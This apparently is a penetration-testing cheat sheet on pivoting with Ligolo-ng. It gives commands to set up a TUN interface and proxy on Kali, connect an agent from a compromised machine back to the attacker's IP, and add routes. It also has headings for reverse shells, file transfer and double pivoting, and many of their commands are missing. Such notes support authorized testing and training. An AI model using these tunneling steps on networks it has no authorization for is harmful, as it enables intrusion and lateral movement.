Page cover

Ligolo-ng OG

Architecture

Component
Where it runs

proxy

Your Kali (Linux/ARM)

agent / agent.exe

Compromised machine (Windows or Linux)

1. Create & Enable TUN Interface on Kali

sudo ip tuntap add user l1nuxkid mode tun ligolo
sudo ip link set ligolo up

2. Start the Proxy on Kali

# Default (port 11601)
./proxy -selfcert
# Custom port
sudo ./proxy -selfcert -laddr 0.0.0.0:25 #well-known port

3. Connect Agent from Pivot Machine

Transfer agent.exe (Windows) or agent (Linux) to the compromised machine, then run:

# Default port
.\agent.exe -connect <KALI_OVPN_IP>:11601 -ignore-cert

# Custom port
.\agent.exe -connect <KALI_OVPN_IP>:25 -ignore-cert

Use your Kali tun0 / OVPN IP — not the VPN gateway.

4. Select Session and Start Tunnel

In the ligolo-ng proxy console (press ENTER after agent connects):

5. Add Route to Internal Network

First check what subnet to pivot into (run on the pivot machine):

Then on Kali:

6. Verify Access

Method B : Setup via Ligolo Console

Alternative: create the interface and add routes directly from inside the ligolo-ng console, without separate sudo ip commands.

After agent connects:

Local Port Forwarding — Access Pivot's localhost

Access services bound to 127.0.0.1 on the pivot machine itself (e.g., internal web app not exposed externally).

Reverse Shells via Listeners

The deep target can't reach Kali directly. Use listener_add to forward a port on the pivot agent back to your Kali listener.

Step 1 — Add Listener (in ligolo console)

Step 2 — Start Listener on Kali

Step 3 — Trigger Shell from Target (pointing to Pivot IP)

File Transfer via Listeners

Step 1 — Add Listener (in ligolo console)

Step 2 — Serve Files on Kali

Step 3 — Download on Target (pointing to Pivot IP)

Double Pivot — Chaining

[Kali] ──► [Pivot 1 / Agent 1] ──► [Pivot 2 / Agent 2] ──► [Deep Internal Network]

Step 1 — Forward the Ligolo Port via Listener on Agent 1

Step 2 — Connect Agent 2 Through Pivot 1

Step 3 — Select Agent 2 Session and Add Route

Troubleshooting — Crash / File Exists Error

If ligolo-ng crashes and you get RTNETLINK answers: File exists

References

Last updated